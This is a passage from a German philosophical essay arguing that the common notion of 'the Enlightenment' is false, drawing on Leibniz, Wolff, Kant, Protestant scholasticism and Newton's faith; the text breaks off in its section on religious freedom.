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Philosophie

Die Aufklärung existiert nicht

Prof. Dr. Dr. Daniel von Wachter · 
03.02.2017

„Aufklärung“ ist nicht einfach ein Name einer Bewegung oder Entwicklung, deren Existenz unstrittig ist. Vielmehr enthält die Aussage „Das 18. Jahrhundert war das Zeitalter der Aufklärung“ oder „In Deutschland hatten wir die Aufklärung“ eine Reihe von Behauptungen, die es zu prüfen gilt. Dieser Aufsatz legt dar, daß einige dieser Behauptungen falsch sind und daß deshalb die Aussage „Die Aufklärung existiert nicht“ wahr ist.

1 Die gängige Vorstellung von der Aufklärung 

(1.1) Es wird heute allgemein angenommen, daß „die Aufklärung“ ein Geschehnis im 18. Jahrhundert war. Bestimmte Ideen entstanden und setzten sich durch, bestimmte politische und gesellschaftliche Veränderungen traten ein. In diesem Aufsatz möchte ich darlegen, daß die gängige Vorstellung der Aufklärung auf nichts zutrifft, da die in ihr enthaltenen Annahmen weitgehend falsch sind. Sie ist nicht nur ein wenig verzerrt oder idealisiert, sondern völlig unzutreffend.

(1.2) Tragen wir zunächst die wichtigsten Elemente der Vorstellung der Aufklärung zusammen, d. h. diejenigen Annahmen, die meist mit der Aussage „Das 18. Jahrhundert war das Zeitalter der Aufklärung“ oder „In Deutschland hatten wir die Aufklärung“ mitgemeint sind oder die in Lexika unter dem Stichwort „Aufklärung“ aufgeführt werden.

  1. Die Aufklärung fand ca. 1680 bis 1800 statt. Diese Zeit ist daher „das Zeitalter der Aufklärung“.
  2. In der Aufklärung begann man, nach Vernunft zu streben, und es gab tatsächlich einen starken Zuwachs an Vernunft. „Aufklärung ist der Ausgang des Menschen aus seiner selbstverschuldeten Unmündigkeit.“ (Kant) Vorher war man Autoritäten wie der Bibel und der Kirche gefolgt, weshalb der Aberglaube herrschte.
  3. In der Aufklärung wurde die Philosophie selbständiger und vernünftiger. Vorher war sie nur eine „Magd der Theologie“. Die wichtigsten Philosophen der Aufklärung waren Gottfried Wilhelm Leibniz (1646–1716), Christian Thomasius (1655–1728), Christian von Wolff (1679–1754) und Immanuel Kant (1724–1804).
  4. Die Naturwissenschaft ist eine Errungenschaft der Aufklärung. (Oder: Die Fortschritte der N. nahmen stark zu). Vorher wurde die Naturwissenschaft durch das Christentum und durch die Kirche behindert.
  5. Die Religions- und Meinungsfreiheit ist eine Errungenschaft der Aufklärung.
  6. Glaube an Offenbarung, an einen offenbarten Weg zur Erlösung, ist wider die Vernunft.
  7. Die Annahme von Wundern (allgemeiner: göttlichen Eingriffen) widerspricht der Vernunft.
  8. Die Aufklärung war gut.

(1.3) Die Konjunktion dieser Annahmen nenne ich die „Aufklärungsannahme“ oder „Aufklärungsvorstellung“. Einige dieser Elemente sind nicht immer vorhanden, wenn die Existenz der Aufklärung angenommen wird, einige werden manchmal etwas anders gestaltet, doch die Verteidigung meiner These wird durch solche Variationen nicht beeinträchtigt.

(1.4) Das Eigentümliche des Begriffes „die Aufklärung“ ist, daß er der Form nach ein einfacher Name für eine Zeit oder eine Bewegung ist, daß er aber – im Unterschied zu neutralen Bezeichnungen wie „das 18. Jahrhundert“ – die genannten Thesen enthält. Lexikoneinträge zum Thema „Aufklärung“ stellen die genannten Thesen meist nicht, wie es angemessen wäre, als die Auffassung einer bestimmten Gruppe von Autoren, sondern als unkontroverse Wahrheit dar. Wenn der Begriff oft wiederholt wird, nehmen viele Leute unkritisch diese Thesen an. Wenn man bestimmte Personen als „aufgeklärt“ oder als „Aufklärer“ bezeichnet, dann bewertet man sie damit positiv. Wenn jemand sich selbst als „aufgeklärt“ oder als „Aufklärer“ bezeichnet, lobt er sich damit selbst.

(1.5) Drei Beispiele von Texten, die veranschaulichen, welche Vorstellung von „der Aufklärung“ verbreitet ist. Bertrand Russell schrieb 1959:

Die Aufklärung war im wesentlichen eine Neubewertung des unabhängigen Denkens, welche anstrebte, dort Licht zu verbreiten, wo bisher Finsternis herrschte.[1]

(1.6) Im Wikipedia-Eintrag „Aufklärung“ ist zu lesen:

Der Begriff Aufklärung […] bezeichnet seit etwa 1700 das gesamte Vorhaben, durch rationales Denken alle den Fortschritt behindernden Strukturen zu überwinden. Seit etwa 1780 bezeichnet der Begriff auch diese geistige und soziale Reformbewegung, ihre Vertreter und das zurückliegende Zeitalter der Aufklärung in der Geschichte Europas und Nordamerikas. Es wird meist auf etwa 1650 bis 1800 datiert.

Das impliziert, daß 1650 bis 1800 in Europa eine bestimmte Gruppe von Personen durch rationales Denken den Fortschritt hindernde Strukturen überwunden hat. Daß man sowohl die betreffenden Personen als auch die betreffenden Strukturen anders bewerten kann, wird ignoriert. Dem Stil eines Lexikons entsprechend hingegen entspräche es zu sagen, daß bestimmte Personen behauptet haben, durch rationales Denken den Fortschritt behindernde Strukturen überwunden zu haben oder überwinden zu wollen.

Als wichtige Kennzeichen der Aufklärung gelten die Berufung auf die Vernunft als universelle Urteilsinstanz, der Kampf gegen Vorurteile, die Hinwendung zu den Naturwissenschaften, das Plädoyer für religiöse Toleranz und die Orientierung am Naturrecht.

(1.7) In einem von der Bundesregierung geförderten lexikonähnlichen Portal schreibt Silvia Hähnel in einem Artikel mit dem Titel „Das Zeitalter der Aufklärung: Der Glaube an die Vernunft“[2]:

Das Zeitalter der Aufklärung oder auch einfach nur die Aufklärung war ein Zeitabschnitt zwischen dem 17. und 18. Jahrhundert, der durch bestimmte Ideen und geistige Entwicklungen geprägt war. […] Im Zeitalter der Aufklärung wurde die menschliche Vernunft zum Maßstab eines jeden Handelns erklärt. […] Man war bestrebt, sich von alten Denkweisen und früheren Vorstellungen zu befreien. Die Menschen sollten – anders als früher – ihren Kopf benutzen und nichts als gegeben hinnehmen, ohne es mittels der Vernunft zu hinterfragen. Dies richtete sich vor allem gegen blinden Gehorsam gegenüber der Kirche und anderen Obrigkeiten, gegen Vorurteile und Aberglauben wie zum Beispiel den Hexenwahn.

Auch hier wird nicht nur gesagt, daß bestimmte Personen behauptet hätten, der Vernunft zum Durchbruch verholfen zu haben, sondern es wird behauptet, daß jene Personen tatsächlich in einer vernunftlosen Zeit die Vernunft verbreitet hätten. Dies veranschaulicht, daß die Kinder in Deutschland immer noch in der Schule unkritisch lernen, daß Aufklärung der Ausgang des Menschen aus seiner selbstverschuldeten Unmündigkeit sei und daß dies im 18. Jahrhundert stattgefunden habe.

2 Wer gehört zur Aufklärung? 

(2.1) Die Aufklärung soll zwar um 1680 begonnen haben, aber das Wort „Aufklärung“ kam erst nach 1770 in Verwendung. Die durch Kants Antwort berühmt gewordene Frage „Was ist Aufklärung?“ wurde 1783 in der Berlinischen Monatsschrift gestellt. Vor 1770 gab es nicht nur das Wort „Aufklärung“ nicht, auch die Vorstellung, daß wir jetzt Licht und Vernunft in eine dunkle und unvernünftige Zeit bringen, gab es selten. Dieses „Wir bringen Licht in die Dunkelheit“ nenne ich „Aufklärungsrhetorik“ oder „Aufklärerselbstverständnis“. Man findet es erst bei Autoren wie Gotthold Ephraim Lessing (1729–1781), Moses Mendelssohn (1729–1786) oder dem Popularphilosophen Christian Garve (1742–1798). Vorher findet man es nur in Frankreich, wo 1732 Jean-Baptiste Dubos (1670–1742) vom „Siècle des Lumières“ (Jahrhundert der Lichter) sprach und wo Leute wie er, Jean-Jacques Rousseau (1712–1778) und Voltaire (1694–1778) sich als „Les Lumières“ bezeichneten.

(2.2) Aber wieso soll denn die Aufklärung dann schon um 1680 entstanden und um 1800 beendet gewesen sein? Immanuel Kant (1724–1804) fühlte sich der Aufklärung zugehörig, obwohl der Aufklärungsexperte Werner Schneiders über ihn sagt er könne „nur mit erheblichen Einschränkungen zur Aufklärung gerechnet werden“.[3] Kant hatte ein Aufklärerselbstverständnis, aber Leibniz, Thomasius und Wolff, die angeblich auch Hauptvertreter der Aufklärung sind, hatten es nicht. Wieso werden sie dann zur „Aufklärung“ gezählt? Auch in ihren Auffassungen passen diese drei nicht zur gängigen Vorstellung von der Aufklärung. Leibniz, der von manchen als Vorläufer, von anderen als Vertreter der Aufklärung angesehen wird, entspricht in folgenden Punkten nicht der Aufklärungsvorstellung:

  • Er hatte kein Aufklärerselbstverständnis.
  • Er nahm die christliche Offenbarung an.
  • Er verwendete und entwickelte Gottesbeweise, insbesondere einen ontologischen und einen kosmologischen, und verteidigte die Existenz Gottes gegen das Argument vom Übel.

Allerdings vertrat er den Determinismus, also die Lehre, daß jedes Ereignis durch vorangegangene determiniert ist. Dies ist mit dem Christentum schwer vereinbar, erstens weil es die für die christliche Lehre der Sünde und der Bekehrung notwendige Willensfreiheit auszuschließen scheint, zweitens weil es die vom Christentum angenommenen Wunder ausschließt.

(2.3) Dasselbe trifft auf Christian von Wolff zu, der zu seinen Lebzeiten hohes wissenschaftliches Ansehen genoß. Er entspricht nicht der gängigen Vorstellung von der Aufklärung, weil er die christliche Offenbarung annahm und Gottesbeweise entwickelte. Trotz seiner Gottesbeweise wurde ihm wegen einiger Äußerungen Atheismus vorgeworfen, und auch wegen seines Determinismus wurde ihm vorgeworfen, nicht im Einklang mit der christlichen Lehre zu sein. Wolff wurde auf Betreiben von Pietisten 1723 von der Universität Halle und durch einen Befehl des preußischen Königs Friedrich Wilhelm I. aus der Stadt Halle verwiesen.

(2.4) Christian Thomasius entspricht ebenfalls nicht der gängigen Vorstellung von der Aufklärung, weil er sich zum Christentum bekannte. 1687 erregte er durch seine Ankündigung deutschsprachiger Vorlesungen Aufruhr an der Universität Leipzig. Er stand oft gegen die lutherische Orthodoxie auf der Seite der Pietisten, wurde aber auch von Pietisten kritisiert.

(2.5) Wir können festhalten, daß Leibniz, Wolff und Thomasius sich zum Christentum bekannten und daher nicht der gängigen Vorstellung von der Aufklärung entsprechen, daß sie aber auch Vorwürfen ausgesetzt waren, von der rechten biblischen Lehre abzuweichen.

(2.6) Liegt der Grund, weshalb Thomasius, Leibniz und Wolff zur Aufklärung gezählt werden, vielleicht darin, daß sie vernunftorientierte, wissenschaftliche Philosophie einführten oder darin wesentlich besser waren als die früheren oder die anderen zeitgenössischen Philosophen? Verschaffen wir uns einen Überblick über die Philosophie in Deutschland zu Wolffs Lebzeiten und davor.

(2.7) Seit ca. 1600 blühte in Deutschland die sogenannte „Protestantische Scholastik“.[4] Das waren evangelische Christen sowohl lutherischer als auch reformierter Prägung, die professionell, als Universitätsprofessoren Philosophie betrieben und auf lateinisch schrieben. Sie bauten besonders auf die katholischen spanischen Philosophen Francisco Suárez (1548–1617) und Pedro da Fonseca (1528–1599) auf. Das gewaltige Werk dieser ersten evangelischen Philosophen ruht weitgehend unbeachtet in den Bibliotheken und inzwischen zum Glück auch bei Google Books und Archive.org im Internet. Kaum einer kennt auch nur die Namen dieser fleißigen und frommen Philosophen: z. B. Rudolf Göckel (1547–1628), Nicolaus Taurellus (1547–1606), Jakob Lorhard (1561–1609), Clemens Timpler (1564–1624), Daniel Cramer (1568–1637), Cornelius Martini (1568–1621), Jakob Martini (1570–1649). Christoph Scheibler (1589–1653) hatte sich durch seine Gedankenschärfe den Spitznamen „deutscher Suárez“ erworben. Ihre Philosophie zeichnet sich durch systematische Untersuchungen, gründliche Argumentation und durch Streben nach Genauigkeit aus, also durch Wissenschaftlichkeit und Vernunft.

(2.8) Die deutsche Sprache wurde nicht etwa, wie manchmal angenommen wird, von Thomasius in die Philosophie eingeführt. Das erste große deutschsprachige philosophische Buch ist heute weitgehend unbekannt. Es ist der 1286 Seiten umfassende Vernunfftspiegel, veröffentlicht 1618 von Jakob Martini in Wittenberg. Das Buch trägt den Untertitel „Gründlicher und unwidertreiblicher Bericht / was die Vernunfft / sampt derselbigen perfection, Philosophia genandt / sey/ wie weit sie sich erstrecke/ und fürnemlich was für einen gebrauch sie habe in Religions Sachen. Entgegen gesetzet allen newen Enthusiastischen Vernunfftstürmern und Philosophyschändern“ und war eine Untersuchung und Verteidigung der Vernunft und der nach ihr strebenden Philosophie. Also genau das, was angeblich erst die Aufklärung gebracht hat!

(2.9) Die meisten der vielen zur Leibniz-Wolff’schen Richtung gehörenden Philosophen betrieben nach Vernunft, Klarheit und Genauigkeit strebende Philosophie, hatten aber weder das mit der „Aufklärung“ assoziierte christentumskritische Weltbild noch das Aufklärerselbstverständnis. Zum Beispiel Martin Knutzen (1713–1751), Alexander Gottlieb Baumgarten (1714–1762), Georg Friedrich Meier (1718–1777).

(2.10) Zu erinnern ist hier auch an die vielen deutsch schreibenden Philosophen des 18. Jahrhunderts, die nicht zur Aufklärung und auch nicht zur Leibniz-Wolff’schen Schule gerechnet werden.[5] Johann Georg Walch (1693–1775) veröffentlichte 1726 ein großes, 3048 Spalten umfassendes deutsches Philosophisches Lexicon und 1727 eine Einleitung in die Philosophie. August Friedrich Müller (1684–1761) veröffentlichte 1728 eine dreibändige Einleitung in die Philosophischen Wissenschaften. Nennenswert sind auch Johann Franz Buddeus (1667–1729), Joachim Lange (1670–1744), Andreas Rüdiger (1673–1731), Franz Albert Schultz (1692–1763) und Benedikt Stattler (1728–1797).

(2.11) Christian August Crusius (1715–1775) war vielleicht der renommierteste Philosoph, der Leibniz und Wolff in vielem entgegengesetzt war. Man kann ihn für den größten deutschen Philosophen des 18. Jahrhundert halten. Carl Friedrich Bahrdt schrieb 1790 über ihn:

[U]nleugbar war Crusius der größte Philosoph seiner Zeit [ca. 1760], der als systematischer Kopf und tiefer Denker an Gründlichkeit, Scharfsinn, und besonders in Analysierung und genauer Bestimmung der Begriffe, wenig seines gleichen hatte, bei dem also ein fleißiger Zuhörer wirklich sich zum Denker bilden konnte.[6]

3 Was verbindet die zur Aufklärung Gezählten? 

(3.1) Unterscheiden sich die zur Aufklärung Gezählten von den anderen durch das Streben nach Vernunft? Peter Pütz scheint das so zu sehen:

Die postulatorische Intention von Aufklärung, d. h. die Aufforderung, von seiner eigenen Vernunft Gebrauch zu machen und eingefahrenem Denken entgegenzuwirken, erkennen wir bei Lessing, Thomasius und Kant.[7]

Das mag schon sein, doch welcher Philosoph (außer einigen postmodernistischen Autoren) macht diese Aufforderung nicht? Nicht nur die zur Aufklärung Gezählten strebten Vernunft an, sondern das taten die anderen zeitgenössischen und früheren Philosophen ebenso.

(3.2) Unterscheiden sich die zur Aufklärung Gezählten von den anderen durch gründliche Forschung, also durch Wissenschaftlichkeit? Das als einen Aspekt der Vernunft in der Philosophie anzusehen, wäre sinnvoll. Merkmale der Vernunftorientiertheit und Wissenschaftlichkeit in der Philosophie sind:

  • Der Autor strebt Klarheit und Präzision an, in den Fragestellungen, in den Thesen, Theorien und Analysen, und in den Argumenten. Klare Fragen, klare Antworten.
  • Gründliche Argumente und Begründungen.
  • Auseinandersetzung mit den Gegenpositionen.

Dies entspricht etwa dem, was, wie oben (§ 2.11) zitiert, Carl Friedrich Bahrdt dem – nicht zur Aufklärung gezählten – Christian August Crusius attestierte. Der Überblick hat gezeigt, daß diese Vernunftorientiertheit und Wissenschaftlichkeit keineswegs nur bei Leibniz, Thomasius, Wolff und Kant vorlag. In der protestantischen Scholastik wurde die Wissenschaftlichkeit durch die Form der Quaestio angestrebt. Walch, Müller oder Crusius verwendeten nicht mehr die Form der Quaestio, sie strebten aber nicht minder nach den genannten Merkmalen der Wissenschaftlichkeit.

(3.3) Noch etwas weiteres spricht dagegen, daß die Wissenschaftlichkeit das Kennzeichen der zur Aufklärung Gezählten ist. Die die Aufklärung verkündenden Autoren strebten gerade keine Wissenschaftlichkeit an, sondern sie waren Journalisten, Schriftsteller oder Popularphilosophen, die gerne über die „Haarspaltereien“ oder „Pedanterie“ der nichtaufgeklärten Philosophen spotteten. Bei Kant sind die genannten Merkmale der Wissenschaftlichkeit schon schwächer ausgeprägt als bei Wolff, Crusius oder Christoph Scheibler. Bei Hegel und Fichte sind sie gar nicht mehr vorhanden. Die Aufklärung nach 1770 hat also nicht eine Zunahme, sondern eine Abnahme der genannten Merkmale der Wissenschaftlichkeit und damit eine Abnahme der Vernunft in die Philosophie gebracht. Der Grund, weshalb Leibniz, Thomasius und Wolff zur Aufklärung gezählt werden, muß woanders liegen.

(3.4) Eines, was Leibniz, Wolff, Kant[8] und die Aufgeklärten des 19. Jahrhunderts gemeinsam haben, ist der Determinismus – also die Auffassung, daß jedes Ereignis durch vorangegangene Ereignisse erzwungen wurde. In der sich der Aufklärung verpflichtet fühlenden evangelischen Theologie des 19. Jahrhundert wurde er zum Kennzeichen der Wissenschaftlichkeit und der Vernunft erklärt.

(3.5) Thomasius, Leibniz und Wolff bekannten sich zwar zum Christentum und meinten dies vermutlich auch ehrlich, betrachtet man aber die ganze deutsche Philosophie des 17. und 18. Jahrhunderts, stellt man fest, daß sie dennoch in jener Zeit die christentumkritischsten oder von der traditionellen Lehre am ehesten abweichendsten Philosophen waren. Denn die meisten anderen Philosophen jener Zeit waren fester in der lutherischen oder reformierten Orthodoxie oder im Pietismus verankert. Insbesondere Leibniz’ und Wolffs Determinismus steht in Spannung zur christlichen Lehre.

(3.6) Die wahrscheinlichste Erklärung dafür, weshalb Thomasius, Leibniz und Wolff zur Aufklärung gezählt werden, lautet daher: Diejenigen, die nach 1770 die „Aufklärung“ erschaffen haben, vereinnahmten die christentumskritischsten renommierten Philosophen der hundert vergangenen Jahre, indem sie sie zur Aufklärung zählten, und stilisierten sie zu einer epochemachenden Bewegung. Mit der Rede vom „Zeitalter der Aufklärung“ wollten sie die Vorstellung erzeugen, daß der Gebrauch der Vernunft dazu führt, daß man das Christentum aufgibt, weil man erkennt, daß es keine Wunder und keine Offenbarung gibt. Mit der Vereinnahmung von Thomasius, Leibniz und Wolff wollten sie den Eindruck erzeugen, daß die Aufklärung bedeutende Vertreter hatte. Die Erschaffer der Aufklärung, die selbst keine renommierten Philosophen oder Naturwissenschaftler, sondern Schriftsteller, Journalisten oder Popularphilosophen waren, erklärten renommierte Philosophen posthum zu ihren Vorläufern, um von deren wissenschaftlichen Ansehen zu profitieren. Zwei Annahmen über Zeit und Geschichte fallen bei der Rede von der Aufklärung auf:

(3.7) Erstens verwendeten die Erschaffer der Aufklärung die Vorstellung von „Zeitaltern“ und „Epochen“, nach der ein Zeitraum nicht einfach Personen enthält, von denen soundso viele die Auffassung A, soundso viele die Auffassung B haben, sondern nach der Zeiträume mit bestimmten Auffassungen verknüpft sind. Man sagt dann, in der Kultur X habe man in der Epoche Y angenommen, daß Z. Einige Aussagen dieser Form sind natürlich wahr, z. B. daß man im Mittelalter glaubte, daß die Erde kugelförmig ist.[9]

(3.8) Mein Einwand dagegen: Die Vorstellung der Zeitalter „Renaissance“, „Moderne“ und „Aufklärung“ nimmt eine Einheitlichkeit der Meinungen an, die nicht existiert. Es gibt keine Zeitalter, sondern stets verschiedene Menschen mit weitgehend verschiedenen Meinungen. Insbesondere bei weltanschaulichen und religiösen Fragen gibt es meist ganz verschiedene, einander widersprechende Auffassungen. In Europa gibt es seit zweitausend Jahren zu jeder Zeit Christen und Christentumsgegner, Theisten und Atheisten. Das 18. Jahrhundert hat keine Meinungen und kein Denken. Auch das Jahr 1700 nicht. Deshalb ist es irreführend zu sagen „Im Zeitalter der Aufklärung glaubte man nicht mehr an Wunder“. Im 18. Jahrhundert haben einige das geglaubt, andere nicht. Gleich, ob es die Mehrheit war, die das glaubte, und gleich, ob diese Überzeugung wahr ist, ist so eine Aussage irreführend.

(3.9) Zweitens enthält die Vorstellung der Aufklärung einen Glauben an Fortschritt und Entwicklung. Sie suggeriert, daß es ein Fortschritt ist, wenn man ausschließt, daß es Offenbarung gibt. Nun betrachtet sie nicht einen logischen Schluß oder den Denkweg eines einzelnen Menschen, sondern die Entwicklung des ganzen Zeitgeistes, der ganzen Gesellschaft oder der ganzen Kultur. Das Bild entsteht, daß durch das Aufkommen der Vernunft um 1680 (vorbereitet durch die „Renaissance“) der ganze Zeitgeist sich verändert, und zwar zum Besseren, nämlich weg vom Christentum. Ob und wie viele Autoren tatsächlich Offenbarung und Wunder ablehnen, wird dabei nicht beachtet. Denn das ist nebensächlich, wenn es um die Entwicklung des Zeitgeistes, den Gang der Zeitalter, den Epochenwandel geht. Der Zeitgeist kann durch einige wenige Fortschrittsbringer weitergeführt werden. Es gibt nur einen Zeitgeist. Die Möglichkeit der entgegengesetzten oder weitgehend getrennten Entwicklung mehrerer Gruppen zur selben Zeit wird ausgeschlossen.

(3.10) Auch die Möglichkeit eines Rückschrittes wird ausgeschlossen. Darin zeigt sich ein historischer Determinismus und ein Kulturoptimismus. Zeit, Zeitgeist, Zeitalter, Epochen haben eine und nur eine Richtung, nämlich Richtung Kant oder Richtung Materialismus. Sie sind unaufhaltbar. Wer diesen Fortschritt versucht aufzuhalten, ist reaktionär, wer andere Auffassungen hat, irrelevant. Die Vernunft setzt sich durch. Daher kommen Aussagen wie „Man kann das Rad nicht zurückdrehen“ oder „X ist nicht zeitgemäß“. An die Stelle der Frage, was wahr ist, und der Begründung der Antwort durch Argumente tritt die Frage, was zeitgemäß ist und was man heute nicht mehr glauben „kann“. Der normale Begriff „Vernunft“ ist, wie „Wahrheit“, inhaltlich neutral. Er bezieht sich darauf, daß man nicht inkohärente Überzeugungen hegen soll und daß man seinen Sinneseindrücken in einem bestimmten Maße trauen soll. Aber er impliziert nicht, welche Meinung vernünftig ist. Der Vernunftbegriff der Verkünder der Aufklärung hingegen wird zum Namen einer bestimmten Auffassung.

(3.11) Wegen der Vorstellung des sich in eine bestimmte Richtung entwickelnden Zeitgeistes behandeln die Philosophiegeschichtswerke aufklärungsgläubiger Autoren nur diese Lichtbringer. Die anderen – z. B. die protestantische Scholastik, Walch, Müller und Crusius – werden ignoriert und totgeschwiegen, oder sie werden nur unter der Perspektive „Frühaufklärung“ oder „vorkantianisch“ behandelt, also mit der Frage, wie weit sie schon aufklärerisch denken oder wie nah sie schon an Kant sind. Dabei wird vorausgesetzt, daß Ausschließen von Offenbarung, Determinismus und Kantianismus wahr und ein Fortschritt sind. Daß man auch die Auffassung vertreten kann, daß Kant ein Rückschritt war, weil er eine unvernünftige Erkenntnistheorie vertrat, oder daß es Offenbarung gibt und daß es deshalb ein Rückschritt ist, die Existenz von Offenbarung auszuschließen, wird ausgeblendet.

(3.12) Die Bezeichnung „die Aufklärer“ ist mehrdeutig: sie kann sich auf die gewöhnlich zur Aufklärung Gezählten beziehen, also Leibniz, Thomasius, Wolff und Kant. Oder sie kann sich auf diejenigen beziehen, welche die Aufklärung geschaffen und verkündet haben. Ich schlage folgende Bezeichnungen vor:

  • „Die posthum zur Aufklärung Gezählten“, das sind Leibniz, Thomasius, Wolff, John Locke, Thomas Reid, etc.
  • „Die Aufklärer“, das sind diejenigen mit dem „Wir bringen die Vernunft in die vernunftlose Zeit“-Selbstverständnis, also Voltaire, Lessing, Mendelssohn, etc.
  • „Die Aufgeklärten“, das sind diejenigen nach 1800, welche die Aufklärungsvorstellung annehmen und sich als aufgeklärt ansehen. Dazu gehören in gewissen Hinsichten Hegel und Fichte, und z. B. evangelische Theologen wie Friedrich Schleiermacher, Ernst Troeltsch und im 20. Jahrhundert Rudolf Bultmann.

4 Die Naturwissenschaft 

(4.1) Oft wird mit „der Aufklärung“ der Beginn der Naturwissenschaft assoziiert. Im Wikipedia-Eintrag „Aufklärung“ wird als ein Kennzeichen der Aufklärung „die Hinwendung zu den Naturwissenschaften“ genannt. Der Film Die Helden der Aufklärung (2012)[10] beginnt mit den Worten:

Unsere Geschichte der Aufklärung beginnt […] mit Isaac Newton. Zu Beginn dieses Zeitalters basierte das Leben der meisten Menschen auf Gehorsam und Glauben. […] Die Menschen glaubten an das, was in der Bibel stand, und nicht an das, was sie selbst herausfanden. […] Doch Isaac Newton verkündete, Wissen werde nicht durch blinden Glauben, sondern durch Beobachtung erlangt. […] Er stellte universelle Regeln dafür auf, was wir heute Wissenschaft nennen.

Das Bild wird vermittelt, daß die Kirche die Entstehung der Naturwissenschaft verhinderte und daß die Aufklärung durch das Streben nach Vernunft gegen den Widerstand der Kirche die Naturwissenschaft hervorgebracht habe.

(4.2) Dieses Bild ist völlig falsch. Newton selbst ist ein Gegenbeispiel. Sein christlicher Glaube stand seiner naturwissenschaftlichen Forschung nicht nur nicht im Wege, sondern er hat ihn dazu motiviert. In einem Brief an Richard Bentley schrieb Newton 1687 über sein Werk Principia Mathematica:

Als ich meine Abhandlung über unser System schrieb, ging es mir um Prinzipien [Naturgesetze], welche dazu beitragen könnten, daß Menschen an eine Gottheit glauben, und nichts kann mich mehr erfreuen, als zu sehen, daß es diesem Zwecke dient.[11]

In der der zweiten Auflage der Principia hinzugefügten Allgemeinen Anmerkung kommt Newton zu dem Schluß:

Diese bewundernswürdige Einrichtung der Sonne, der Planeten und Kometen hat nur aus dem Rathschlusse und der Herrschaft eines alles einsehenden und allmächtigen Wesens hervorgehen können. […] Dieses unendliche Wesen beherrscht alles, nicht als Weltseele, sondern als Herr aller Dinge.[12]

(4.3) Newton war bewußt und entschieden Christ, auch wenn er die traditionelle Trinitätslehre ablehnte. Im Unterschied zu Leibniz glaubte er auch, daß Gott das Universum nicht nur erschaffen hat und erhält, sondern manchmal auch in den Gang der materiellen Dinge eingreift, sei es schöpferisch oder für Wunder. Als Christ glaubte er an einen allmächtigen Schöpfergott, der rational ist und der das Universum mit einer rational verstehbaren Ordnung schuf, damit die darin lebenden Menschen diese Ordnung erforschen und dieses Wissen für ihr Handeln verwenden können.[13]

Es folgt hieraus [daraus, dass Gott ein geistiges Wesen ist], dass der wahre Gott ein lebendiger, einsichtiger und mächtiger [vivum, intelligentem et potentem] Gott, dass er über dem Weltall erhaben und durchaus vollkommen ist. Er ist ewig und unendlich, allmächtig und allwissend, d. h. er währt von Ewigkeit zu Ewigkeit, von Unendlichkeit zu Unendlichkeit, er regiert alles, er kennt alles, was ist oder was sein kann.[14]

Zur Aufklärung wird oft auch die Annahme gerechnet, daß Philosophie und Naturwissenschaft nicht von Gott sprechen können oder sollen, weil sie sonst wie im „finsteren Mittelalter“ bloße „Magd der Theologie“ wären oder weil wir Gott nicht erkennen können. Newton widerspricht dem nicht nur dadurch, daß er, wie eben zitiert, seine physikalischen und astronomischen Entdeckungen als Beweise (im Sinne von Indizien) für die Existenz Gottes ansieht, sondern er bezeichnet die Physik als „Naturphilosophie“ (lat. „philosophia naturalis“) und nennt es ihre Aufgabe, die Werke Gottes zu untersuchen. So sagt er in der Allgemeinen Anmerkung am Ende des von Gott handelnden Abschnittes:

Dies hatte ich von Gott zu sagen, dessen Werke zu untersuchen, die Aufgabe der Naturlehre [lat. „philosophia naturalis“] ist.[15]

(4.4) Falsch ist nicht nur die Annahme, daß Newton ein „Aufklärer“ war, sondern auch die, daß er oder andere Zeitgenossen die Naturwissenschaft weitgehend neu entwickelt hätten, und daß das Christentum oder die Kirche dagegen gewirkt hätten. Die Naturwissenschaft entstand nicht im 18. Jahrhundert und nicht im 17. Jahrhundert und auch nicht im 16. Jahrhundert, in der sogenannten „Renaissance“. Es gab keine „naturwissenschaftliche Revolution“. Wie Steven Shapin im ersten Satz seines Buches „The Scientific Revolution“ sagt:

There was no such thing as the Scientific Revolution, and this is a book about it.[16]

Vielmehr hat sich die Naturwissenschaft kontinuierlich über die Jahrhunderte entwickelt, insbesondere seit dem 14. Jahrhundert. Newton selbst schrieb: „Wenn ich etwas weiter gesehen habe [als Robert Hooke], dann dadurch, daß ich auf den Schultern von Giganten stehe.“[17] Wer waren diese Giganten? Rodney Stark faßt zusammen:

Science did not suddenly erupt in a great intellectual revolution during Newton’s time; this era of superb achievements was the culmination of centuries of sustained, normal scientific progress. After all, Newton’s First Law of Motion was simply an expansion of William of Ockham’s (1295–1349) insight that once a body is in motion, it will remain so unless some force, such as friction, acts upon it. This was refined by Jean Buridan (1300–1358), who developed the principle of inertia (that unless acted upon by an external force, bodies at rest will stay at rest and bodies in motion will stay in motion). Inertia was further refined by Galileo (1564–1642), who, characteristically, claimed more credit than he deserved. Of course, Newton’s First Law was merely the starting point for his magnificent system of physics, but, contrary to claims made on his behalf by the philosophers of the so-called Enlightenment, Newton didn’t have to start from scratch. Rather, […] the glorious scientific breakthroughs of the sixteenth and seventeenth centuries were based on the work of a long line of natural philosophers.[18]

Die Behauptung, daß die Renaissance, die „naturwissenschaftliche Revolution“ oder die Aufklärung die Naturwissenschaft entwickelt hätten und daß die Kirche dem entgegengewirkt habe, wird von Laien weiter geglaubt und verbreitet, aber historischer Forschung hält sie nicht stand. Es ist eindeutig, daß die Naturwissenschaft des 16. und 17. Jahrhunderts auf die Forschung der früheren Jahrhunderte aufbaute und daß das Christentum ein wesentlicher Teil der Erklärung dafür ist, daß die Naturwissenschaft in Europa entstanden ist.[19] Die Aufklärer haben die These der Entstehung der Naturwissenschaft in der „Aufklärung“ oder der „Renaissance“ und den Widerstand der Kirche dagegen erfunden, um die Kirche und das Christentum als unvernünftig und wissenschaftsfeindlich und um sich selbst als die Fortschritt bringende Kraft darzustellen.

5 Die Religions- und Meinungsfreiheit 

(5.1) Nicht ganz so falsch, aber immer noch falsch ist die Lehre der Aufklärer, die Religions- und Meinungsfreiheit sei eine Errungenschaft der Aufklärung. Richtig ist, daß die Kirchen oft und lange die Bestrafung von Ketzern und ein Verbot anderer Denominationen durch die weltliche Obrigkeit befürwortet haben.[20] Richtig ist aber auch, daß der Widerstand dagegen großenteils von Christen kam, und zwar von solchen, welche ihren Glauben und die Bibel besonders ernst nahmen. Als das erste Mal ein Ketzer zum Tode verurteilt wurde, nämlich Priscillian von Ávila 385, war es der Bischof Martin von Tours, der mit aller Kraft gegen die Hinrichtung kämpfte und sogar denen, die sich für die Hinrichtung ausgesprochen hatten, die eucharistische Gemeinschaft aufkündigte.

